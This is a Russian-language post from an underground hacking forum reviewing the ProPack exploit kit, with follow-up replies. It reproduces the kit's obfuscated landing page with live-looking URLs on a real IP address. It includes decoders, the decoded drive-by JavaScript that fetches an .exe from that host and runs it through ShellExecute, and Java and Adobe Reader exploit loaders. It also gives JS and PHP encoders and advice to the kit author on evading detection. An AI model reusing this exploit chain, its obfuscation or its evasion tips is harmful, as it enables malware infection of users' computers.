• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья ProPack exploit kit

GOONER

(L3) cache
Пользователь
Регистрация
25.10.2009
Сообщения
182
Реакции
1
Приветствую завсегдатых и новеньких форумчан дамаги!Сегодня на нашем операционном столе новичек на рынке связок - ProPack exploit kit.
Топик о продаже:
https://xss.pro/index.php?topic=23486
Сама связка:
hххp://46.30.42.20/build/dhjy9wm/5ww846y.php выдача
hххp://46.30.42.20/build/dhjy9wm/9ai4jxt.php гостевая админка
Я смог увидеть только гостевую админку, к основной, к сожалению, у меня доступа не было.




В гостевой админке все как в описании продукта:
Мы не можем похвастаться креативным дизайном, удобством интерфейса, дополнительными гаджетами. Минимализм в оформлении.
Мне не понравилось, что в гостевой стате нет авторизации и доступна очистка статы. Как написал товарищ el- связка
сильно напоминает феникс, почему то
Наверное потому, что билды генерируются с рандомными именами файлов, как и у PEK.
Ну а теперь перейдем к самому вкусному - к внутренностям. Использовать будем стандартные инструменты для анализа связок.
Выдача связки (get.dump) для user-agent msie 6 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Код:
<body><script>function run(){/*dcmn.rt(<oy<bd>OJC dy aey egt0wdh0casdcsdC898-8D1C-2D445500>
/BET';ucing(h{r{a f0*c_n@jcitvrin1%0*,ddcmn.raelmn(ojc',e'/./'Mt.lo(ahrno(*9)'ee;ff&f<)d.dd;dcasd'li:
D6566A-1093-00F2E6;a ad.raebet'dd.tem,',bd.raebet'hl.plcto'')c=dCetOjc(mxl.MHT'')c.pn'E'h,as)c.ed)a.ye1a.pn)a.rt
(crsosBd)a.aeoiee,)a.ls(;bSelxct(e',''pn,)}cth()}fnto t)vri,l'..'m=160,n'..'o=142;r{a rdcmn.eEeetyd's)jm;ir.e()vrin}ac e
{ucinj(i{a k='aaeSatiIsald'i+.'i !cieOjc)22/ul/hyw/wldppj1k2)}cth()g(ht:/63.22/ul/hyw/wldppj1k2)}fnto t)dcmn.rt(<  ojc 
lsi=csdCFEA-E700-00ACEFDB"'+'ds>  <  /  ojc'+'';a il=170,m'..'n=150,o'..'tyvrr=ouetgtlmnBI(s'.vsi=rgt0.eso;cth()fnto ji)
vrk  JvWbtr.sntle.+i'0;f(AtvXbet{eunfle}r{eun(e cieOjc(k!nl)}ac e{eunfle}i=j(l)l:j(m)m:j(n)n:j(o)o:ul}r{a ppren(islt''[];fi.pi(_)1)
q=asIti.pi(_)1)}leq=;i((p=)&q<5)|(p=)&q<3)|(p=)&q<))vradcmn.raelmn(ape';.eAtiue'oe,ce73Atce.ls';.
eAtiue'rhv''tp/4.04.0biddj9mbfcdmkpp)vrpdcmn.raelmn(prm)psttrbt(nm''aa)psttrbt(vle,ht:/63.22/ul/hyw/wldppj1k1';.
pedhl()dcmn.oyapnCida;es{B)}cth()a(;}s=nwDt(;a a';aDt.as(s/00i d<31707{t)}*/var e=document.getElementsByTagName
('script')[0].innerHTML;e=e.replace(String.fromCharCode(13,10), '');var a=e.substr(17,2860);var l=2860;var m=(l-l%2)/2;
var b = a.substr(0, m);var c = a.substr(m, m*2);var r='';for (i=0; i<=m; i++){r=r+b.charAt(i)+c.charAt(i);}if (l%2>0)
{r=r+a.charAt(l);}this[e.charAt(40)+e.charAt(106)+e.charAt(39)+e.charAt(124)]®;}run();</script></body>
Выдача покрыта простым криптором, который легко снимается заменой (для Chrome):
Код:
this[e.charAt(40)+e.charAt(106)+e.charAt(39)+e.charAt(124)](r);
на:
Код:
console.log(r);
Или так (decoder.js):
Код:
var a ="<citaet'aaea';/citsrp>lr(dmglb)<srp>";
     var l=a.length;
     var m=(l-l%2)/2;
     var b = a.substr(0, m);
     var c = a.substr(m, m*2);
     var r='';
     for (i=0; i<=m; i++)
     {
       r=r+b.charAt(i)+c.charAt(i);
     }
     if (l%2>0)
     {
       r=r+a.charAt(l);
     }
     document.write®;
Расшифрованная выдача связки (dec.dump):

Код:
document.write('<body></body><OBJECT id=yy name=yy height=0 width=0 classid=clsid:CA8A9780-280D-11CF-A24D-444553540000>
</OBJECT>');function gg(hh){try{var ff=0/*@cc_on+@_jscript_version*10%10@*/,dd=document.createElement('object'),
ee='.//..//'+Math.floor(Math.random()*999)+'.exe';if(ff&&ff<7)
{dd.id=dd;dd.classid='clsid:BD96C556-65A3-11D0-983A-00C04FC29E36';
var aa=dd.CreateObject('Adodb.stream',''),BA" ' + 'id=ss>' + '<' + '/' + 'object' + '>');
var ii,ll='1.7.0',mm='1.6.0',nn='1.5.0',oo='1.4.2';
try{var rr=document.getElementById('ss').jvms;ii=rr.get(0).version;}catch (e){function jj(ii){
var kk = 'JavaWebStart.isInstalled.'+ii+'.0';
if (!ActiveXObject){return false;}try{return (new ActiveXObject(kk)!=null);}catch (e)
{return false;}}ii=(jj(ll))?ll:(jj(mm))?mm:(jj(nn))?nn:(jj(oo))?oo:null;}
try{var pp=parseInt(ii.split('.')[1]);if(ii.split('_')[1]){qq=parseInt(ii.split('_')[1]);}
else{qq=0;}if(((pp==5)&&(qq<35))||((pp==6)&&(qq<33))||((pp==7)&&(qq<7))){
var a=document.createElement('applet');a.setAttribute
('code','cve1723.Attacker.class');a.setAttribute('archive','http://46.30.42.20/build/dhjy9wm/bwfqctdymok.php');var p=
document.createElement('param');p.setAttribute('name','data');
p.setAttribute('value','http://46.30.42.20/build/dhjy9wm/twslkd.php?j=1&k=1|');
a.appendChild(p);document.body.appendChild(a);}else{ab();}}catch (e){ab();}}ds = 
new Date();var da='';da=Date.parse(ds)/1000;if (da<1351371097){tt();}
В более удобо-варимом виде:
Код:
 document.write('<body></body><OBJECT id=yy name=yy height=0 width=0 classid=clsid:CA8A9780-280D-11CF-A24D-444553540000></OBJECT>');
 function gg(hh)
 {
   try
   {
     var ff=0/*@cc_on+@_jscript_version*10%10@*/,dd=document.createElement('object'),ee='.//..//'+Math.floor(Math.random()*999)+'.exe';
     if(ff&&ff<7)
     {
       dd.id=dd;
       dd.classid='clsid:BD96C556-65A3-11D0-983A-00C04FC29E36';
       var aa=dd.CreateObject('Adodb.stream',''),bb=dd.CreateObject('Shell.Application',''),cc=dd.CreateObject('msxml2.XMLHTTP','');
       cc.open('GET',hh,false);
       cc.send();
       aa.type=1;
       aa.open();
       aa.Write(cc.responseBody);
       aa.SaveToFile(ee,2);
       aa.Close();
       bb.ShellExecute(ee,'','','open',1);
     }
   }
   catch (e)
   {
   }
 }
 function tt()
 {
   var ii,ll='1.7.0',mm='1.6.0',nn='1.5.0',oo='1.4.2';
   try
   {
     var rr=document.getElementById('ss').jvms;
     ii=rr.get(0).version;
   }
   catch (e)
   {
     function jj(ii)
     {
       var kk = 'JavaWebStart.isInstalled.'+ii+'.0';
       if (!ActiveXObject)
       {
         return false;
       }
       try
       {
         return (new ActiveXObject(kk)!=null);
       }
       catch (e)
       {
         return false;
       }
     }
     ii=(jj(ll))?ll:(jj(mm))?mm:(jj(nn))?nn:(jj(oo))?oo:ii;
   }
   try
   {
     var pp=parseInt(ii.split('.')[1]),qq=(ii.split('_')[1])?parseInt(qq):0;
     if((pp==7)&&((qq>=3)&&(qq<=6)))
     {
       J7();
     }
     else if(((pp==6)&&(qq<31))||((pp==7)&&(qq<3)))
     {
       J567();
     }
     else
     {
       P();
     }
   }
   catch (e)
   {
     P();
   }
 }
 function ac(ad)
 {
   var ae=document.createElement('iframe');
   ae.src=ad;
   ae.width=0;
   ae.height=0;
   ae.frameborder=0;
   document.body.appendChild(ae);
 }
 function ab()
 {
   try
   {
     var vv=/EScript=([^,]+),/,ww=/AcroForm=([^,]+),/,uu=yy.GetVersions();
     uu=uu.match(vv)[1];
     zz=parseInt(uu.split('.')[0]);
     uu=parseInt(uu.replace(/\./g,''));
     if ((uu<711)&&((zz==6)||(zz==7)))
     {
       ac('atmwgoizl3.pdf');
     }
     else if ((uu>=800)&&(uu<931))
     {
       ac('ixcohwfvhv.pdf');
     }
     else
     {
       gg('http://46.30.42.20/build/dhjy9wm/twslkd.php?j=1&k=2');
     }
   }
   catch (e)
   {
     gg('http://46.30.42.20/build/dhjy9wm/twslkd.php?j=1&k=2');
   }
 }
 function tt()
 {
   document.write('<' + 'object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA" ' + 'id=ss>' + '<' + '/' + 'object' + '>');
   var ii,ll='1.7.0',mm='1.6.0',nn='1.5.0',oo='1.4.2';
   try
   {
     var rr=document.getElementById('ss').jvms;
     ii=rr.get(0).version;
   }
   catch (e)
   {
     function jj(ii)
     {
       var kk = 'JavaWebStart.isInstalled.'+ii+'.0';
       if (!ActiveXObject)
       {
         return false;
       }
       try
       {
         return (new ActiveXObject(kk)!=null);
       }
       catch (e)
       {
         return false;
       }
     }
     ii=(jj(ll))?ll:(jj(mm))?mm:(jj(nn))?nn:(jj(oo))?oo:null;
   }
   try
   {
     var pp=parseInt(ii.split('.')[1]);
     if(ii.split('_')[1])
     {
       qq=parseInt(ii.split('_')[1]);
     }
     else
     {
       qq=0;
     }
     if(((pp==5)&&(qq<35))||((pp==6)&&(qq<33))||((pp==7)&&(qq<7)))
     {
       var a=document.createElement('applet');
       a.setAttribute('code','cve1723.Attacker.class');
       a.setAttribute('archive','http://46.30.42.20/build/dhjy9wm/bwfqctdymok.php');
       var p=document.createElement('param');
       p.setAttribute('name','data');
       p.setAttribute('value','http://46.30.42.20/build/dhjy9wm/twslkd.php?j=1&k=1|');
       a.appendChild(p);
       document.body.appendChild(a);
     }
     else
     {
       ab();
     }
   }
   catch (e)
   {
     ab();
   }
 }
 ds = new Date();
 var da='';
 da=Date.parse(ds)/1000;
 if (da<1351371097)
 {
 tt();}
Выдача доступна повторно, т.е. нет отсечения неуников!
Также разочаровал тот факт, что связка отдает выдачу без проверки user-agent. Например, мне связка отдала выдачу под такими u-a:
Mozilla/5.0 (compatible; Konqueror/3.4; Linux; en_US) KHTML/3.4.0 (like Gecko)
Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1
Mobile/9B176 Safari/7534.48.3

На коленке был написан енкодер связки (enc.js).
Вариант на JavaScript:
Код:
var a ="protocols";
var l=a.length;
var m=l-l%2;
var r='';
for (i=0;i<m;i+=2) {
r=r+a.charAt(i);
}
for (j=1;j<m;j+=2) {
r=r+a.charAt(j);
}
if (l%2>0)
     {
       r=r+a.charAt(l-1);
     }
     document.write®;
Вариант на PHP (enc.php):
Код:
<?php
$tpl = '<body><script>function run(){/*{ENCODED}*/var e=document.getElementsByTagName(\'script\')[0].innerHTML;e=
e.replace(String.fromCharCode(13,10), \'\');var a=e.substr(17,{LENGTH});var l={LENGTH};var m=(l-l%2)/2;var b = a.substr(0, m);
var c = a.substr(m, m*2);var r=\'\';for (i=0; i<=m; i++){r=r+b.charAt(i)+c.charAt(i);}if (l%2>0){r=r+a.charAt(l);}eval®;}run();</script></body>';  

function encode($data, $tpl) {
    $l = strlen($data);
    $m=($l-$l%2);
    $out = '';
    for ($i=0;$i<$m;$i+=2) {
        $out .= $data[$i];
    }
    for ($j = 1;$j < $m; $j+=2) {
        $out .= $data[$j];
    }
    if ($l%2!==0) {
      $out .= $data[$l-1];
    }  
return $out;
}

$enc = encode('alert(\'damagelab\');', $tpl);
$enc_len = strlen($enc);
$tpl = str_replace('{ENCODED}', $enc, $tpl);
$tpl = str_replace('{LENGTH}', $enc_len, $tpl);
echo $tpl;
Вернемся к выдаче. Как и в описании присутствуют:
java aio - java all in one или 3 эксплойта java atomic, java byte, java 7 в одном .jar файле (не забыли и про 5ую ветку Java)
libtiff - эксплойт под Adobe Reader 8-9 веток (ixcohwfvhv.pdf)
collab - эксплойт под Adobe Reader 6-7 веток (atmwgoizl3.pdf)
printf - эксплойт под Adobe Reader 7.1.0  (atmwgoizl3.pdf)
mdac - старый добрый эксплойт, все еще дающий пробив на определенном трафике
Качаем сплоиты по соответсвующим линкам:
java aio hxxp://46.30.42.20/build/dhjy9wm/bwfqctdymok.php (javaaio.jar)
collab-printf hxxp://46.30.42.20/build/dhjy9wm/atmwgoizl3.pdf (ixcohwfvhv.pdf)
libtiff hxxp://46.30.42.20/build/dhjy9wm/ixcohwfvhv.pdf (atmwgoizl3.pdf)
Для скачки java aio нужно использовать user-agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_18 т.к. есть проверка на u-a.
В связке есть проверка версий плагинов
pdf:
Код:
 var vv=/EScript=([^,]+),/,ww=/AcroForm=([^,]+),/,uu=yy.GetVersions();
     uu=uu.match(vv)[1];
     zz=parseInt(uu.split('.')[0]);
     uu=parseInt(uu.replace(/\./g,''));
      if ((uu<711)&&((zz==6)||(zz==7)))
     {
       ac('atmwgoizl3.pdf');
     }
     else if ((uu>=800)&&(uu<931))
     {
       ac('ixcohwfvhv.pdf');
     }
java:
Код:
function tt()
 {
   document.write('<' + 'object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA" ' + 'id=ss>' + '<' + '/' + 'object' + '>');
   var ii,ll='1.7.0',mm='1.6.0',nn='1.5.0',oo='1.4.2';
   try
   {
     var rr=document.getElementById('ss').jvms;
     ii=rr.get(0).version;
   }
   catch (e)
   {
     function jj(ii)
     {
       var kk = 'JavaWebStart.isInstalled.'+ii+'.0';
       if (!ActiveXObject)
       {
         return false;
       }
       try
       {
         return (new ActiveXObject(kk)!=null);
       }
       catch (e)
       {
         return false;
       }
     }
     ii=(jj(ll))?ll:(jj(mm))?mm:(jj(nn))?nn:(jj(oo))?oo:null;
   }
   try
   {
     var pp=parseInt(ii.split('.')[1]);
     if(ii.split('_')[1])
     {
       qq=parseInt(ii.split('_')[1]);
     }
     else
     {
       qq=0;
     }
     if(((pp==5)&&(qq<35))||((pp==6)&&(qq<33))||((pp==7)&&(qq<7)))
     {
       //
     }
     else
     {
       ab();
     }
   }
   catch (e)
   {
     ab();
   }
 }
Для выдачи мдака используется интересный трюк для определения версии ie:
Код:
   var ff=0/*@cc_on+@_jscript_version*10%10@*/;
    if(ff&&ff<7)
     {
     }
Также присутствует намек на антиотладку:
Код:
 ds = new Date();
 var da='';
 da=Date.parse(ds)/1000;
 if (da<1351371097)
 {
 tt();}
Т.е. если дата в формате Unix time stamp < 1351371097 (Sat, 27 Oct 2012 20:51:37 GMT) - запускается ротатор.
Сразу бросается в глаза, что линк на скачку ехе для java aio - в открытом виде.
Перейдем к декоду сплоитов. Начнем с pdf-ок. Как видно из их содержимого, криптуются они по тому же алгоритму.
pdf можно легко разобрать с помощью Javascript debugger Adobe Reader-а
заменив:
Код:
this[e.charAt(48)+e.charAt(19)+e.charAt(31)+e.charAt(542)](r)
на:
Код:
console.show();console.println(r);

Или с помощью скрипта-декодера (pdf_dec.js):
Код:
var a="vr_1'c00f570ac00ff30a3b0a0nto I(I)_0_6tSrn(6;j=j.egh_5(j%)''_0_0rtr I}ucin_2_1{I='fr_60_6_1lnt;I+2{I+'u;I+_9_1caCdA(I+);I+_9_1caCdA(I)}
eun_5fnto j({j=l(;f_490)_5'+Ajgku4K//wAAAAAAAAQAAAAhAigA8IK;j=l;j=I(j)es{j=k+SihpfB///AABAAAAAAAAAAYCSAY/EB'_6_2_7_3_6}j=SkAgAB'_9_2'UB,08)
_l=QcAEAEAAIAAEAEAAAAAEAEAAAABEAEAAAAEEAEAAAAFEAEAAIAUEAwACIAAAAADj//'_l=j+j+l0_5_l=j1_7')i(l2lnt%)l2=
nsae'0';l3_2_l)wt(k_l}_0k;non.aVle_l}1j=appuIsvrj2=asItapveeVrintSrn(.hrt0)fr(a =;i<j1.egh +)i j
1[]nm='om'{a 1jj1[]vrin}i (j2=8&(1j82) |(j2=9&(1j93))_3)}le}";
var l=a.length;
var m=(l-l%2)/2;
var b = a.substr(0, m);
var c = a.substr(m, m*2);
var r='';
for (i=0; i<=m; i++){
r=r+b.charAt(i)+c.charAt(i);
}if (l%2>0){
r=r+a.charAt(l);
}
document.write®;
Расшифрованный js из либтифа (libtiff_dec.js):
Код:
var _l1='4c24941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1fparseInt(app.viewerVersion.toString().charAt(0));for (var i=0; i < j11j.length; i++)
{if (j11j[i].name=='Forms'){var j13j=j11j[i].version;}}if (((j12j==8)&&(j13j<8.21)) || ((j12j==9)&&(j13j<9.31))){_j3();}else{}
В переменных var _l1, _l2 - шк

Аналогично для pdf colab-printf (collab-printf_decoder.js)
Код:
var a="vrc=so;}fu=71{t\(;es f\(u71\)&\(z=\)|z=7\){l\(;es{";
   var l=a.length+1;
   var m=(l-l%2)/2;
   var b = a.substr(0, m);
   var c = a.substr(m, m*2);
   var r='';
   for (i=0; i<=m; i++)
   {
     r=r+b.charAt(i)+c.charAt(i);
   }
   if (l%2>0)
   {
     r=r+a.charAt(l);
   }
document.write®;
collab-print_decoded.js:
Код:
var cs='8888888888888888888888;util.printf('%45000f',num);}aps=app.plugIns;var zz=parseInt(app.viewerVersion.toString().charAt(0));for(
var i=0;i<aps.length;i++){if(aps[i].name=='EScript'){var uu=aps[i].version;}}if(uu==7.1){ptf();}else if((uu<7.11)&&((zz==6)||(zz==7))){clb();}else{}
шк поксорен, в malzilla переходим на вкладку Hex view, вставляем шк (Paste as hex) и брутим на наличие строки http.

Далее в очереди - java aio, открываем его в jd-gui:

Есть проверка версий явы:
Код:
String str1 = System.getProperty("java.version").toString();
    String[] arrayOfString1 = str1.split("\\.");
    String[] arrayOfString2 = str1.split("_");
    int i = Integer.parseInt(arrayOfString1[1]);
    int j = Integer.parseInt(arrayOfString2[1]);
      if ((i == 7) && (j < 7))
    {
    }
     if (((i == 5) && (j < 34)) || ((i == 6) && (j < 31)))
    {
    }
       if (((i == 6) && (j > 30) && (j < 33)) || ((i == 5) && (j > 33) && (j < 36)))
    {
    }
Кодес, название классов имеют сходство с сорцами с metasploit-а, складывается впечатление что автор не умеет чистить яву.
Скан эксплоитов, ехе и ip:
==========================Эпилог=============================================
Хотелось бы посоветовать автору ProPack устранить недочеты:
0)отдавать 404 неуникам и проверять user-agent
1)добавить авторизацию для гостевой статы
2)убрать возможность очистки бд из гостевой статы
3)добавить динамические линки (даже у бх уже есть ключи)
4)не хранить линки в открытом виде
5)почистить и переписать java aio
6)убрать неактуальные сплоиты (mdac, pdf collab-printf), которые только лишний раз палят связку

Сейчас на рынке, связок - как грибов после доджя и у каждого продукта свои нанотехнологии :) . Я думаю перед тем, как выходить на рынок нужно тщательно проверить свой продукт на наличие багов и недочетов. Мое мнение - на данный момент связка очень сырая.
Покупать/арендовать такой продукт или нет - каждый свой выбор сделает сам!

P.S. Некоторые строки порезал, т.к. они рвали шаблон.
Файлы к обзору: :zns5: ТУТ
pass:DaMaGeLaB
 
Поздравляю GOONER ты наконец то забросил мозиллу и начал юзать софт большого сэма (ака гугл хром).
По теме скажу что ценность связки заключается в двух вещах:
1. Качество работы
2. Чистота
Тут я так понял ни того ни другого не наблюдается, т.е. кроме названия никакого креатива и надо быть реально тупым чтобы за это еще и платить )))
 
GOONER
жаль только, что malzilla не обновлялась с 8 года и содержит не очень приятные баги местами (много раз падало), оно конечно опенсорсное, но копаться в нем нет ни времени ни желания к сожалению =((((
 
GOONER
кстате
>> pdf можно легко разобрать с помощью Javascript debugger Adobe Reader-а

это который в Pro версии? вроде ж нормального отладчика в вьювере нет? где смотреть? =)
 
Недавно наткнулся в трэкере на этот пак, решил посмотреть что изменилось после моего обзора, и исправил ли автор все недочеты, которые я нарыл..
Из того что сделано - проверка u-a, теперь пак не отдает выдачу всем кому попало, но к сожалению это все, что изменилось...
скан pdf libtiff
скан pdf collab-printf
скан java aio
Все сплоиты оч. палятся и автор так и не научился чистить яву.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх